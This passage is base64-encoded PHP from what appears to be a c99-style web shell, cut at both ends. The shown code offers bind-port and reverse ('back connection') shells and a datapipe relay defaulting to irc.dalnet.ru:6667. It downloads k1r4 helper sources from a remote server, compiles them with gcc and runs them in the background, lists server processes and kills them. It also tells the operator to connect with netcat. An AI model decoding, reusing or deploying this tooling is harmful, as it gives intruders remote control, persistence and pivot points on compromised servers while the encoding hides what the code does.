NvcHk8L29wdGlvbj4iOwogICBlY2hvICI8b3B0aW9uIHZhbHVlPXVuc2VsZWN0Ii4oJGRzcGFjdCA9PSAidW5zZWxlY3QiPyIgc2VsZWN0ZWQiOiIiKS4iPlVuc2VsZWN0PC9vcHRpb24+IjsKICB9CiAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiQ29uZmlybVwiPjwvcD4iOwogIGVjaG8gIjwvZm9ybT4iOwogfQp9CmlmICgkYWN0ID09ICJ0b29scyIpCnsKICRibmRwb3J0c3JjcyA9IGFycmF5KAogICJrMXI0X2JpbmRwb3J0LnBsIj0+YXJyYXkoIlVzaW5nIFBFUkwiLCJwZXJsICVwYXRoICVwb3J0IiksCiAgImsxcjRfYmluZHBvcnQuYyI9PmFycmF5KCJVc2luZyBDIiwiJXBhdGggJXBvcnQgJXBhc3MiKQogKTsKICRiY3NyY3MgPSBhcnJheSgKICAiazFyNF9iYWNrY29ubi5wbCI9PmFycmF5KCJVc2luZyBQRVJMIiwicGVybCAlcGF0aCAlaG9zdCAlcG9ydCIpLAogICJrMXI0X2JhY2tjb25uLmMiPT5hcnJheSgiVXNpbmcgQyIsIiVwYXRoICVob3N0ICVwb3J0IikKICk7CiAkZHBzcmNzID0gYXJyYXkoCiAgImsxcjRfZGF0YXBpcGUucGwiPT5hcnJheSgiVXNpbmcgUEVSTCIsInBlcmwgJXBhdGggJWxvY2FscG9ydCAlcmVtb3RlaG9zdCAlcmVtb3RlcG9ydCIpLAogICJrMXI0X2RhdGFwaXBlLmMiPT5hcnJheSgiVXNpbmcgQyIsIiVwYXRoICVsb2NhbHBvcnQgJXJlbW90ZXBvcnQgJXJlbW90ZWhvc3QiKQogKTsKIGlmICghaXNfYXJyYXkoJGJpbmQpKSB7JGJpbmQgPSBhcnJheSgpO30KIGlmICghaXNfYXJyYXkoJGJjKSkgeyRiYyA9IGFycmF5KCk7fQogaWYgKCFpc19hcnJheSgkZGF0YXBpcGUpKSB7JGRhdGFwaXBlID0gYXJyYXkoKTt9CiAKIGlmICghaXNfbnVtZXJpYygkYmluZFsicG9ydCJdKSkgeyRiaW5kWyJwb3J0Il0gPSAkYmluZHBvcnRfcG9ydDt9CiBpZiAoZW1wdHkoJGJpbmRbInBhc3MiXSkpIHskYmluZFsicGFzcyJdID0gJGJpbmRwb3J0X3Bhc3M7fQogIAogaWYgKGVtcHR5KCRiY1siaG9zdCJdKSkgeyRiY1siaG9zdCJdID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpO30KIGlmICghaXNfbnVtZXJpYygkYmNbInBvcnQiXSkpIHskYmNbInBvcnQiXSA9ICRiY19wb3J0O30KIAogaWYgKGVtcHR5KCRkYXRhcGlwZVsicmVtb3RlYWRkciJdKSkgeyRkYXRhcGlwZVsicmVtb3RlYWRkciJdID0gImlyYy5kYWxuZXQucnU6NjY2NyI7fQogaWYgKCFpc19udW1lcmljKCRkYXRhcGlwZVsibG9jYWxwb3J0Il0pKSB7JGRhdGFwaXBlWyJsb2NhbHBvcnQiXSA9ICRkYXRhcGlwZV9sb2NhbHBvcnQ7fQogaWYgKCFlbXB0eSgkYmluZHN1Ym1pdCkpCiB7CiAgZWNobyAiPGI+UmVzdWx0IG9mIGJpbmRpbmcgcG9ydDo8L2I+PGJyPiI7CiAgJHYgPSAkYm5kcG9ydHNyY3NbJGJpbmRbInNyYyJdXTsKICBpZiAoZW1wdHkoJHYpKSB7ZWNobyAiVW5rbm93biBmaWxlITxicj4iO30KICBlbHNlaWYgKGZzb2Nrb3BlbihnZXRlbnYoIlNFUlZFUl9BRERSIiksJGJpbmRbInBvcnQiXSwkZXJybm8sJGVycnN0ciwwLjEpKSB7ZWNobyAiUG9ydCBhbHJlZHkgaW4gdXNlLCBzZWxlY3QgYW55IG90aGVyITxicj4iO30KICBlbHNlCiAgewogICAkdyA9IGV4cGxvZGUoIi4iLCRiaW5kWyJzcmMiXSk7CiAgICRleHQgPSAkd1tjb3VudCgkdyktMV07CiAgIHVuc2V0KCR3W2NvdW50KCR3KS0xXSk7CiAgICRzcmNwYXRoID0gam9pbigiLiIsJHcpLiIuIi5yYW5kKDAsOTk5KS4iLiIuJGV4dDsKICAgJGJpbnBhdGggPSAkdG1wZGlyLmpvaW4oIi4iLCR3KS5yYW5kKDAsOTk5KTsKICAgaWYgKCRleHQgPT0gInBsIikgeyRiaW5wYXRoID0gJHNyY3BhdGg7fQogICBAdW5saW5rKCRzcmNwYXRoKTsKICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsImFiKyIpOwogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiLiRzcmNwYXRoLiJcIiE8YnI+Ijt9CiAgIGVsc2VpZiAoISRkYXRhID0gazFyNGdldHNvdXJjZSgkYmluZFsic3JjIl0pKSB7ZWNobyAiQ2FuJ3QgZG93bmxvYWQgc291cmNlcyEiO30KICAgZWxzZQogICB7CiAgICBmd3JpdGUoJGZwLCRkYXRhLHN0cmxlbigkZGF0YSkpOwogICAgZmNsb3NlKCRmcCk7CiAgICBpZiAoJGV4dCA9PSAiYyIpIHskcmV0Z2NjID0gbXlzaGVsbGV4ZWMoImdjYyAtbyAiLiRiaW5wYXRoLiIgIi4kc3JjcGF0aCk7ICBAdW5saW5rKCRzcmNwYXRoKTt9CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcGF0aCIsJGJpbnBhdGgsJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBvcnQiLCRiaW5kWyJwb3J0Il0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhc3MiLCRiaW5kWyJwYXNzIl0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkdlsxXSk7CiAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOwogICAgc2xlZXAoNSk7CiAgICAkc29jayA9IGZzb2Nrb3BlbigibG9jYWxob3N0IiwkYmluZFsicG9ydCJdLCRlcnJubywkZXJyc3RyLDUpOwogICAgaWYgKCEkc29jaykge2VjaG8gIkkgY2FuJ3QgY29ubmVjdCB0byBsb2NhbGhvc3Q6Ii4kYmluZFsicG9ydCJdLiIhIEkgdGhpbmsgeW91IHNob3VsZCBjb25maWd1cmUgeW91ciBmaXJld2FsbC4iO30KICAgIGVsc2Uge2VjaG8gIkJpbmRpbmcuLi4gb2shIENvbm5lY3QgdG8gPGI+Ii5nZXRlbnYoIlNFUlZFUl9BRERSIikuIjoiLiRiaW5kWyJwb3J0Il0uIjwvYj4hIFlvdSBzaG91bGQgdXNlIE5ldENhdCZjb3B5OywgcnVuIFwiPGI+bmMgLXYgIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAiLiRiaW5kWyJwb3J0Il0uIjwvYj5cIiE8Y2VudGVyPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmdyZXA9Ii5iYXNlbmFtZSgkYmlucGF0aCkuIlwiPjx1PlZpZXcgYmluZGVyJ3MgcHJvY2VzczwvdT48L2E+PC9jZW50ZXI+Ijt9CiAgIH0KICAgZWNobyAiPGJyPiI7CiAgfQogfQogaWYgKCFlbXB0eSgkYmNzdWJtaXQpKQogewogIGVjaG8gIjxiPlJlc3VsdCBvZiBiYWNrIGNvbm5lY3Rpb246PC9iPjxicj4iOwogICR2ID0gJGJjc3Jjc1skYmNbInNyYyJdXTsKICBpZiAoZW1wdHkoJHYpKSB7ZWNobyAiVW5rbm93biBmaWxlITxicj4iO30KICBlbHNlCiAgewogICAkdyA9IGV4cGxvZGUoIi4iLCRiY1sic3JjIl0pOwogICAkZXh0ID0gJHdbY291bnQoJHcpLTFdOwogICB1bnNldCgkd1tjb3VudCgkdyktMV0pOwogICAkc3JjcGF0aCA9IGpvaW4oIi4iLCR3KS4iLiIucmFuZCgwLDk5OSkuIi4iLiRleHQ7CiAgICRiaW5wYXRoID0gJHRtcGRpci5qb2luKCIuIiwkdykucmFuZCgwLDk5OSk7CiAgIGlmICgkZXh0ID09ICJwbCIpIHskYmlucGF0aCA9ICRzcmNwYXRoO30KICAgQHVubGluaygkc3JjcGF0aCk7CiAgICRmcCA9IGZvcGVuKCRzcmNwYXRoLCJhYisiKTsKICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCB3cml0ZSBzb3VyY2VzIHRvIFwiIi4kc3JjcGF0aC4iXCIhPGJyPiI7fQogICBlbHNlaWYgKCEkZGF0YSA9IGsxcjRnZXRzb3VyY2UoJGJjWyJzcmMiXSkpIHtlY2hvICJDYW4ndCBkb3dubG9hZCBzb3VyY2VzISI7fQogICBlbHNlCiAgIHsKICAgIGZ3cml0ZSgkZnAsJGRhdGEsc3RybGVuKCRkYXRhKSk7CiAgICBmY2xvc2UoJGZwKTsKICAgIGlmICgkZXh0ID09ICJjIikgeyRyZXRnY2MgPSBteXNoZWxsZXhlYygiZ2NjIC1vICIuJGJpbnBhdGguIiAiLiRzcmNwYXRoKTsgQHVubGluaygkc3JjcGF0aCk7fQogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiJXBhdGgiLCRiaW5wYXRoLCR2WzFdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVob3N0IiwkYmNbImhvc3QiXSwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcG9ydCIsJGJjWyJwb3J0Il0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkdlsxXSk7CiAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOwogICAgZWNobyAiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLmh0bWxzcGVjaWFsY2hhcnMoJGJjWyJob3N0Il0pLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRiY1sicG9ydCJdKS4iLi4uPGJyPiI7CiAgIH0KICB9CiB9CiBpZiAoIWVtcHR5KCRkcHN1Ym1pdCkpCiB7CiAgZWNobyAiPGI+UmVzdWx0IG9mIGRhdGFwaXBlLXJ1bm5pbmc6PC9iPjxicj4iOwogICR2ID0gJGRwc3Jjc1skZGF0YXBpcGVbInNyYyJdXTsKICBpZiAoZW1wdHkoJHYpKSB7ZWNobyAiVW5rbm93biBmaWxlITxicj4iO30KICBlbHNlaWYgKGZzb2Nrb3BlbihnZXRlbnYoIlNFUlZFUl9BRERSIiksJGRhdGFwaXBlWyJwb3J0Il0sJGVycm5vLCRlcnJzdHIsMC4xKSkge2VjaG8gIlBvcnQgYWxyZWR5IGluIHVzZSwgc2VsZWN0IGFueSBvdGhlciE8YnI+Ijt9CiAgZWxzZQogIHsKICAgJHNyY3BhdGggPSAkdG1wZGlyLiRkYXRhcGlwZVsic3JjIl07CiAgICR3ID0gZXhwbG9kZSgiLiIsJGRhdGFwaXBlWyJzcmMiXSk7CiAgICRleHQgPSAkd1tjb3VudCgkdyktMV07CiAgIHVuc2V0KCR3W2NvdW50KCR3KS0xXSk7CiAgICRzcmNwYXRoID0gam9pbigiLiIsJHcpLiIuIi5yYW5kKDAsOTk5KS4iLiIuJGV4dDsKICAgJGJpbnBhdGggPSAkdG1wZGlyLmpvaW4oIi4iLCR3KS5yYW5kKDAsOTk5KTsKICAgaWYgKCRleHQgPT0gInBsIikgeyRiaW5wYXRoID0gJHNyY3BhdGg7fQogICBAdW5saW5rKCRzcmNwYXRoKTsKICAgJGZwID0gZm9wZW4oJHNyY3BhdGgsImFiKyIpOwogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IHdyaXRlIHNvdXJjZXMgdG8gXCIiLiRzcmNwYXRoLiJcIiE8YnI+Ijt9CiAgIGVsc2VpZiAoISRkYXRhID0gazFyNGdldHNvdXJjZSgkZGF0YXBpcGVbInNyYyJdKSkge2VjaG8gIkNhbid0IGRvd25sb2FkIHNvdXJjZXMhIjt9CiAgIGVsc2UKICAgewogICAgZndyaXRlKCRmcCwkZGF0YSxzdHJsZW4oJGRhdGEpKTsKICAgIGZjbG9zZSgkZnApOwogICAgaWYgKCRleHQgPT0gImMiKSB7JHJldGdjYyA9IG15c2hlbGxleGVjKCJnY2MgLW8gIi4kYmlucGF0aC4iICIuJHNyY3BhdGgpOyBAdW5saW5rKCRzcmNwYXRoKTt9CiAgICBsaXN0KCRkYXRhcGlwZVsicmVtb3RlaG9zdCJdLCRkYXRhcGlwZVsicmVtb3RlcG9ydCJdKSA9IGV4cGxvZGUoIjoiLCRkYXRhcGlwZVsicmVtb3RlYWRkciJdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVwYXRoIiwkYmlucGF0aCwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlbG9jYWxwb3J0IiwkZGF0YXBpcGVbImxvY2FscG9ydCJdLCR2WzFdKTsKICAgICR2WzFdID0gc3RyX3JlcGxhY2UoIiVyZW1vdGVob3N0IiwkZGF0YXBpcGVbInJlbW90ZWhvc3QiXSwkdlsxXSk7CiAgICAkdlsxXSA9IHN0cl9yZXBsYWNlKCIlcmVtb3RlcG9ydCIsJGRhdGFwaXBlWyJyZW1vdGVwb3J0Il0sJHZbMV0pOwogICAgJHZbMV0gPSBzdHJfcmVwbGFjZSgiLy8iLCIvIiwkdlsxXSk7CiAgICAkcmV0YmluZCA9IG15c2hlbGxleGVjKCR2WzFdLiIgPiAvZGV2L251bGwgJiIpOwogICAgc2xlZXAoNSk7CiAgICAkc29jayA9IGZzb2Nrb3BlbigibG9jYWxob3N0IiwkZGF0YXBpcGVbInBvcnQiXSwkZXJybm8sJGVycnN0ciw1KTsKICAgIGlmICghJHNvY2spIHtlY2hvICJJIGNhbid0IGNvbm5lY3QgdG8gbG9jYWxob3N0OiIuJGRhdGFwaXBlWyJsb2NhbHBvcnQiXS4iISBJIHRoaW5rIHlvdSBzaG91bGQgY29uZmlndXJlIHlvdXIgZmlyZXdhbGwuIjt9CiAgICBlbHNlIHtlY2hvICJSdW5uaW5nIGRhdGFwaXBlLi4uIG9rISBDb25uZWN0IHRvIDxiPiIuZ2V0ZW52KCJTRVJWRVJfQUREUiIpLiI6Ii4kZGF0YXBpcGVbInBvcnQiXS4iLCBhbmQgeW91IHdpbGwgY29ubmVjdGVkIHRvICIuJGRhdGFwaXBlWyJyZW1vdGVhZGRyIl0uIjwvYj4hIFlvdSBzaG91bGQgdXNlIE5ldENhdCZjb3B5OywgcnVuIFwiPGI+bmMgLXYgIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAiLiRiaW5kWyJwb3J0Il0uIjwvYj5cIiE8Y2VudGVyPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmdyZXA9Ii5iYXNlbmFtZSgkYmlucGF0aCkuIlwiPjx1PlZpZXcgZGF0YXBpcGUgcHJvY2VzczwvdT48L2E+PC9jZW50ZXI+Ijt9CiAgIH0KICAgZWNobyAiPGJyPiI7CiAgfQogfQogPz48Yj5CaW5kaW5nIHBvcnQ6PC9iPjxicj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9dG9vbHM+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPlBvcnQ6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT0iYmluZFtwb3J0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmluZFsicG9ydCJdKTsgPz4iPiZuYnNwO1Bhc3N3b3JkOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJpbmRbcGFzc10iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGJpbmRbInBhc3MiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImJpbmRbc3JjXSI+PD9waHAKIGZvcmVhY2goJGJuZHBvcnRzcmNzIGFzICRrPT4kdikge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLiRrLiJcIiI7IGlmICgkayA9PSAkYmluZFsic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30gZWNobyAiPiIuJHZbMF0uIjwvb3B0aW9uPiI7fQogPz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1iaW5kc3VibWl0IHZhbHVlPSJCaW5kIj48L2Zvcm0+CjxiPkJhY2sgY29ubmVjdGlvbjo8L2I+PGJyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29scz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+SE9TVDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJiY1tob3N0XSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkYmNbImhvc3QiXSk7ID8+Ij4mbmJzcDtQb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImJjW3BvcnRdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRiY1sicG9ydCJdKTsgPz4iPiZuYnNwOzxzZWxlY3QgbmFtZT0iYmNbc3JjXSI+PD9waHAKZm9yZWFjaCgkYmNzcmNzIGFzICRrPT4kdikge2VjaG8gIjxvcHRpb24gdmFsdWU9XCIiLiRrLiJcIiI7IGlmICgkayA9PSAkYmNbInNyYyJdKSB7ZWNobyAiIHNlbGVjdGVkIjt9IGVjaG8gIj4iLiR2WzBdLiI8L29wdGlvbj4iO30KPz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1iY3N1Ym1pdCB2YWx1ZT0iQ29ubmVjdCI+PC9mb3JtPgpDbGljayAiQ29ubmVjdCIgb25seSBhZnRlciBvcGVuIHBvcnQgZm9yIGl0LiBZb3Ugc2hvdWxkIHVzZSBOZXRDYXQmY29weTssIHJ1biAiPGI+bmMgLWwgLW4gLXYgLXAgPD9waHAgZWNobyAkYmNfcG9ydDsgPz48L2I+IiE8YnI+PGJyPgo8Yj5EYXRhcGlwZTo8L2I+PGJyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29scz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+SE9TVDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJkYXRhcGlwZVtyZW1vdGVhZGRyXSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSk7ID8+Ij4mbmJzcDtMb2NhbCBwb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImRhdGFwaXBlW2xvY2FscG9ydF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFwaXBlWyJsb2NhbHBvcnQiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImRhdGFwaXBlW3NyY10iPjw/cGhwCmZvcmVhY2goJGRwc3JjcyBhcyAkaz0+JHYpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi4kay4iXCIiOyBpZiAoJGsgPT0gJGJjWyJzcmMiXSkge2VjaG8gIiBzZWxlY3RlZCI7fSBlY2hvICI+Ii4kdlswXS4iPC9vcHRpb24+Ijt9Cj8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9ZHBzdWJtaXQgdmFsdWU9IlJ1biI+PC9mb3JtPjxiPk5vdGU6PC9iPiBzb3VyY2VzIHdpbGwgYmUgZG93bmxvYWRlZCBmcm9tIHJlbW90ZSBzZXJ2ZXIuPD9waHAKfQppZiAoJGFjdCA9PSAicHJvY2Vzc2VzIikKewogZWNobyAiPGI+UHJvY2Vzc2VzOjwvYj48YnI+IjsKIGlmICghJHdpbikgeyRoYW5kbGVyID0gInBzIC1hdXgiLigkZ3JlcD8iIHwgZ3JlcCAnIi5hZGRzbGFzaGVzKCRncmVwKS4iJyI6IiIpO30KIGVsc2UgeyRoYW5kbGVyID0gInRhc2tsaXN0Ijt9CiAkcmV0ID0gbXlzaGVsbGV4ZWMoJGhhbmRsZXIpOwogaWYgKCEkcmV0KSB7ZWNobyAiQ2FuJ3QgZXhlY3V0ZSBcIiIuJGhhbmRsZXIuIlwiISI7fQogZWxzZQogewogIGlmIChlbXB0eSgkcHJvY2Vzc2VzX3NvcnQpKSB7JHByb2Nlc3Nlc19zb3J0ID0gJHNvcnRfZGVmYXVsdDt9CiAgJHBhcnNlc29ydCA9IHBhcnNlc29ydCgkcHJvY2Vzc2VzX3NvcnQpOwogIGlmICghaXNfbnVtZXJpYygkcGFyc2Vzb3J0WzBdKSkgeyRwYXJzZXNvcnRbMF0gPSAwO30KICAkayA9ICRwYXJzZXNvcnRbMF07CiAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGsuImFcIj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfZGVzY1wiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iO30KICBlbHNlIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9CiAgJHJldCA9IGh0bWxzcGVjaWFsY2hhcnMoJHJldCk7CiAgaWYgKCEkd2luKQogIHsKICAgaWYgKCRwaWQpCiAgIHsKICAgIGlmIChpc19udWxsKCRzaWcpKSB7JHNpZyA9IDk7fQogICAgZWNobyAiU2VuZGluZyBzaWduYWwgIi4kc2lnLiIgdG8gIyIuJHBpZC4iLi4uICI7CiAgICBpZiAocG9zaXhfa2lsbCgkcGlkLCRzaWcpKSB7ZWNobyAiT0suIjt9CiAgICBlbHNlIHtlY2hvICJFUlJPUi4iO30KICAgfQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAiLCRyZXQpO30KICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOwogICAkaGVhZCA9IGV4cGxvZGUoIiAiLCRzdGFja1swXSk7CiAgIHVuc2V0KCRzdGFja1swXSk7CiAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKQogICB7CiAgICBpZiAoJGkgIT0gJGspIHskaGVhZFskaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii4kaGVhZFskaV0uIjwvYj48L2E+Ijt9CiAgIH0KICAgJHByY3MgPSBhcnJheSgpOwogICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpCiAgIHsKICAgIGlmICghZW1wdHkoJGxpbmUpKQp7CiBlY2hvICI8dHI+IjsKICAgICAkbGluZSA9IGV4cGxvZGUoIiAiLCRsaW5lKTsKICAgICAkbGluZVsxMF0gPSBqb2luKCIgIixhcnJheV9zbGljZSgkbGluZSwxMCkpOwogICAgICRsaW5lID0gYXJyYXlfc2xpY2UoJGxpbmUsMCwxMSk7CiAgICAgaWYgKCRsaW5lWzBdID09IGdldF9jdXJyZW50X3VzZXIoKSkgeyRsaW5lWzBdID0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxpbmVbMF0uIjwvZm9udD4iO30KICAgICAkbGluZVtdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmQ9Ii51cmxlbmNvZGUoJGQpLiImcGlkPSIuJGxpbmVbMV0uIiZzaWc9OVwiPjx1PktJTEw8L3U+PC9hPiI7CiAgICAgJHByY3NbXSA9ICRsaW5lOwogICAgIGVjaG8gIjwvdHI+IjsKICAgIH0KICAgfQogIH0KICBlbHNlCiAgewogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiIsJHJldCk7fQogICB3aGlsZSAoZXJlZygiIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiIiwiIiwkcmV0KTt9CiAgIHdoaWxlIChlcmVnKCIgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICIsIiIsJHJldCk7fQogICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7CiAgICRzdGFjayA9IGV4cGxvZGUoIlxuIiwkcmV0KTsKICAgdW5zZXQoJHN0YWNrWzBdLCRzdGFja1syXSk7CiAgICRzdGFjayA9IGFycmF5X3ZhbHVlcygkc3RhY2spOwogICAkaGVhZCA9IGV4cGxvZGUoIiIsJHN0YWNrWzBdKTsKICAgJGhlYWRbMV0gPSBleHBsb2RlKCIgIiwkaGVhZFsxXSk7CiAgICRoZWFkWzFdID0gJGhlYWRbMV1bMF07CiAgICRzdGFjayA9IGFycmF5X3NsaWNlKCRzdGFjaywxKTsKICAgdW5zZXQoJGhlYWRbMl0pOwogICAkaGVhZCA9IGFycmF5X3ZhbHVlcygkaGVhZCk7CiAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgeyR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2Rlc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9CiAgIGVsc2UgeyR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJkXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2FzY1wiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iO30KICAgaWYgKCRrID4gY291bnQoJGhlYWQpKSB7JGsgPSBjb3VudCgkaGVhZCktMTt9CiAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKQogICB7CiAgICBpZiAoJGkgIT0gJGspIHskaGVhZFskaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii50cmltKCRoZWFkWyRpXSkuIjwvYj48L2E+Ijt9CiAgIH0KICAgJHByY3MgPSBhcnJheSgpOwogICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpCiAgIHsKICAgIGlmICghZW1wdHkoJGxpbmUpKQogICAgewogICAgIGVjaG8gIjx0cj4iOwogICAgICRsaW5lID0gZXhwbG9kZSgiIiwkbGluZSk7CiAgICAgJGxpbmVbMV0gPSBpbnR2YWw